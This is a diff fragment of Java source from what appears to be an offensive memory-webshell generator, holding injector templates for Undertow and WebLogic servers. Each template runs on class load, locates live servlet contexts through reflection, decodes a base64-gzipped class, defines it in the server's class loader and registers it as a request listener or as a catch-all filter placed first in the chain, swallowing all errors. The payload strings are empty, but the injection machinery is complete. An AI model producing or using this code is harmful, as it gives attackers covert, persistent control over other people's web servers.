public class UndertowListenerInjectorTpl {
|
||||||
|
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
new UndertowListenerInjectorTpl();
|
||||||
|
}
|
||||||
|
|
||||||
|
public UndertowListenerInjectorTpl() {
|
||||||
|
try {
|
||||||
|
List<Object> contexts = getContext();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
Object listener = getListener(context);
|
||||||
|
addListener(context, listener);
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||||
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
|
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||||
|
for (int i = 0; i < threads.length; i++) {
|
||||||
|
try {
|
||||||
|
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
|
||||||
|
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
|
||||||
|
if (servletContext != null) contexts.add(servletContext);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private Object getListener(Object context) {
|
||||||
|
Object listener = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
if (classLoader == null) {
|
||||||
|
classLoader = context.getClass().getClassLoader();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
listener = clazz.newInstance();
|
||||||
|
} catch (Throwable tt) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return listener;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 添加有效 io.undertow.servlet.core.ApplicationListeners.addListener
|
||||||
|
// 添加无效 io.undertow.servlet.api.DeploymentInfo.addListener
|
||||||
|
public void addListener(Object context, Object listener) {
|
||||||
|
try {
|
||||||
|
if (isInjected(context, listener.getClass().getName())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
|
||||||
|
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
|
||||||
|
Object deploymentImpl = getFV(context, "deployment");
|
||||||
|
Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
|
||||||
|
Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
|
||||||
|
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
|
||||||
|
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
|
||||||
|
} catch (Throwable e) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||||
|
List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
|
||||||
|
for (int i = 0; i < allListeners.size(); i++) {
|
||||||
|
Class listener = (Class) getFV(getFV(allListeners.get(i), "listenerInfo"), "listenerClass");
|
||||||
|
if (listener.getName().contains(evilClassName)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
synchronized void setFV(Object var0, String var1, Object val) throws Exception {
|
||||||
|
getF(var0, var1).set(var0, val);
|
||||||
|
}
|
||||||
|
|
||||||
|
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||||
|
Field field = getF(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
|
||||||
|
Class tempClass = clazz;
|
||||||
|
while (method == null && tempClass != null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
// Get all declared methods of the class
|
||||||
|
Method[] methods = tempClass.getDeclaredMethods();
|
||||||
|
for (int i = 0; i < methods.length; i++) {
|
||||||
|
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||||
|
method = methods[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
tempClass = tempClass.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
if (obj instanceof Class) {
|
||||||
|
try {
|
||||||
|
return method.invoke(null, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,292 @@
|
|||||||
|
package jmg.core.template;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
public class WebLogicFilterInjectorTpl {
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "/*";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
new WebLogicFilterInjectorTpl();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public WebLogicFilterInjectorTpl() {
|
||||||
|
try {
|
||||||
|
Object[] contexts = getContext();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
Object filter = getFilter(context);
|
||||||
|
addFilter(context, filter);
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object[] getContextsByMbean() throws Throwable {
|
||||||
|
HashSet webappContexts = new HashSet();
|
||||||
|
Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
||||||
|
Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
||||||
|
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
||||||
|
theOneMethod.setAccessible(true);
|
||||||
|
Object serverRuntime = theOneMethod.invoke(null);
|
||||||
|
|
||||||
|
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
||||||
|
getApplicationRuntimesMethod.setAccessible(true);
|
||||||
|
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
||||||
|
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
||||||
|
for (int i = 0; i < applicationRuntimeSize; i++) {
|
||||||
|
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
||||||
|
|
||||||
|
try {
|
||||||
|
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
||||||
|
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
||||||
|
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
||||||
|
for (int j = 0; j < componentRuntimeSize; j++) {
|
||||||
|
Object context = getFV(Array.get(componentRuntimes, j), "context");
|
||||||
|
if (webAppServletContextClass.isInstance(context)) {
|
||||||
|
webappContexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
Set childrenSet = (Set) getFV(applicationRuntime, "children");
|
||||||
|
Iterator iterator = childrenSet.iterator();
|
||||||
|
|
||||||
|
while (iterator.hasNext()) {
|
||||||
|
Object componentRuntime = iterator.next();
|
||||||
|
try {
|
||||||
|
Object context = getFV(componentRuntime, "context");
|
||||||
|
if (webAppServletContextClass.isInstance(context)) {
|
||||||
|
webappContexts.add(context);
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (Throwable e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return webappContexts.toArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object[] getContextsByThreads() throws Throwable {
|
||||||
|
HashSet webappContexts = new HashSet();
|
||||||
|
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
|
||||||
|
int threadCount = threadGroup.activeCount();
|
||||||
|
Thread[] threads = new Thread[threadCount];
|
||||||
|
threadGroup.enumerate(threads);
|
||||||
|
for (int i = 0; i < threadCount; i++) {
|
||||||
|
Thread thread = threads[i];
|
||||||
|
if (thread != null) {
|
||||||
|
Object workEntry = getFV(thread, "workEntry");
|
||||||
|
if (workEntry != null) {
|
||||||
|
try {
|
||||||
|
Object context = null;
|
||||||
|
Object connectionHandler = getFV(workEntry, "connectionHandler");
|
||||||
|
if (connectionHandler != null) {
|
||||||
|
Object request = getFV(connectionHandler, "request");
|
||||||
|
if (request != null) {
|
||||||
|
context = getFV(request, "context");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (context == null) {
|
||||||
|
context = getFV(workEntry, "context");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (context != null) {
|
||||||
|
webappContexts.add(context);
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return webappContexts.toArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object[] getContext() {
|
||||||
|
HashSet webappContexts = new HashSet();
|
||||||
|
try {
|
||||||
|
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
||||||
|
} catch (Throwable e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
||||||
|
} catch (Throwable e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
return webappContexts.toArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getFilter(Object context) {
|
||||||
|
Object filter = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
if (classLoader == null) {
|
||||||
|
classLoader = context.getClass().getClassLoader();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
filter = clazz.newInstance();
|
||||||
|
} catch (Throwable tt) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return filter;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* https://github.com/BeichenDream/GodzillaMemoryShellProject
|
||||||
|
*/
|
||||||
|
public void addFilter(Object context, Object filter) throws Exception {
|
||||||
|
String filterClassName = filter.getClass().getName();
|
||||||
|
if (!isInjected(context, filterClassName)) {
|
||||||
|
try {
|
||||||
|
Object filterManager = invokeMethod(context, "getFilterManager");
|
||||||
|
Object servletClassLoader = invokeMethod(context, "getServletClassLoader");
|
||||||
|
Map cachedClasses = (Map) getFV(servletClassLoader, "cachedClasses");
|
||||||
|
//或者直接反射在这个classloader定义类 就不用写缓存了 不过就要硬编码一个class了
|
||||||
|
cachedClasses.put(filterClassName, filter.getClass());
|
||||||
|
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{filterClassName, filterClassName, new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
|
||||||
|
//将filter置为第一位
|
||||||
|
List filterPatternList = (List) getFV(filterManager, "filterPatternList");
|
||||||
|
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
|
||||||
|
filterPatternList.add(0, currentMapping);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static boolean isInjected(Object context, String filterClassName) throws Exception {
|
||||||
|
HashMap filters = (HashMap) getFV(getFV(context, "filterManager"), "filters");
|
||||||
|
for (Object obj : filters.keySet()) {
|
||||||
|
if (obj.toString().contains(filterClassName))
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||||
|
Field field = getF(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
|
||||||
|
Class tempClass = clazz;
|
||||||
|
while (method == null && tempClass != null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
// Get all declared methods of the class
|
||||||
|
Method[] methods = tempClass.getDeclaredMethods();
|
||||||
|
for (int i = 0; i < methods.length; i++) {
|
||||||
|
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||||
|
method = methods[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
tempClass = tempClass.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
if (obj instanceof Class) {
|
||||||
|
try {
|
||||||
|
return method.invoke(null, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,274 @@
|
|||||||
|
package jmg.core.template;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
|
public class WebLogicListenerInjectorTpl {
|
||||||
|
public String getClassName() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
new WebLogicListenerInjectorTpl();
|
||||||
|
}
|
||||||
|
|
||||||
|
public WebLogicListenerInjectorTpl() {
|
||||||
|
try {
|
||||||
|
Object[] contexts = getContext();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
Object listener = getListener(context);
|
||||||
|
registerListener(context, listener);
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object[] getContextsByMbean() throws Throwable {
|
||||||
|
HashSet webappContexts = new HashSet();
|
||||||
|
Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
||||||
|
Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
||||||
|
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
||||||
|
theOneMethod.setAccessible(true);
|
||||||
|
Object serverRuntime = theOneMethod.invoke(null);
|
||||||
|
|
||||||
|
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
||||||
|
getApplicationRuntimesMethod.setAccessible(true);
|
||||||
|
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
||||||
|
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
||||||
|
for (int i = 0; i < applicationRuntimeSize; i++) {
|
||||||
|
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
||||||
|
|
||||||
|
try {
|
||||||
|
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
||||||
|
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
||||||
|
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
||||||
|
for (int j = 0; j < componentRuntimeSize; j++) {
|
||||||
|
Object context = getFV(Array.get(componentRuntimes, j), "context");
|
||||||
|
if (webAppServletContextClass.isInstance(context)) {
|
||||||
|
webappContexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
Set childrenSet = (Set) getFV(applicationRuntime, "children");
|
||||||
|
Iterator iterator = childrenSet.iterator();
|
||||||
|
|
||||||
|
while (iterator.hasNext()) {
|
||||||
|
Object componentRuntime = iterator.next();
|
||||||
|
try {
|
||||||
|
Object context = getFV(componentRuntime, "context");
|
||||||
|
if (webAppServletContextClass.isInstance(context)) {
|
||||||
|
webappContexts.add(context);
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (Throwable e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return webappContexts.toArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object[] getContextsByThreads() throws Throwable {
|
||||||
|
HashSet webappContexts = new HashSet();
|
||||||
|
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
|
||||||
|
int threadCount = threadGroup.activeCount();
|
||||||
|
Thread[] threads = new Thread[threadCount];
|
||||||
|
threadGroup.enumerate(threads);
|
||||||
|
for (int i = 0; i < threadCount; i++) {
|
||||||
|
Thread thread = threads[i];
|
||||||
|
if (thread != null) {
|
||||||
|
Object workEntry = getFV(thread, "workEntry");
|
||||||
|
if (workEntry != null) {
|
||||||
|
try {
|
||||||
|
Object context = null;
|
||||||
|
Object connectionHandler = getFV(workEntry, "connectionHandler");
|
||||||
|
if (connectionHandler != null) {
|
||||||
|
Object request = getFV(connectionHandler, "request");
|
||||||
|
if (request != null) {
|
||||||
|
context = getFV(request, "context");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (context == null) {
|
||||||
|
context = getFV(workEntry, "context");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (context != null) {
|
||||||
|
webappContexts.add(context);
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return webappContexts.toArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object[] getContext() {
|
||||||
|
HashSet webappContexts = new HashSet();
|
||||||
|
try {
|
||||||
|
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
||||||
|
} catch (Throwable e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
||||||
|
} catch (Throwable e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
return webappContexts.toArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getListener(Object context) {
|
||||||
|
|
||||||
|
Object listener = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
if (classLoader == null) {
|
||||||
|
classLoader = context.getClass().getClassLoader();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
listener = clazz.newInstance();
|
||||||
|
} catch (Throwable tt) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return listener;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void registerListener(Object context, Object listener) throws Exception {
|
||||||
|
String listenerClassName = listener.getClass().getName();
|
||||||
|
if (!isInjected(context, listenerClassName)) {
|
||||||
|
try {
|
||||||
|
Object eventsManager = getFV(context, "eventsManager");
|
||||||
|
invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{listenerClassName});
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static boolean isInjected(Object context, String listenerClassName) throws Exception {
|
||||||
|
ArrayList requestListeners = (ArrayList) getFV(getFV(context, "eventsManager"), "requestListeners");
|
||||||
|
for (int i = 0; i < requestListeners.size(); i++) {
|
||||||
|
if (requestListeners.get(i).getClass().getName().contains(listenerClassName)) return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||||
|
Field field = getF(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
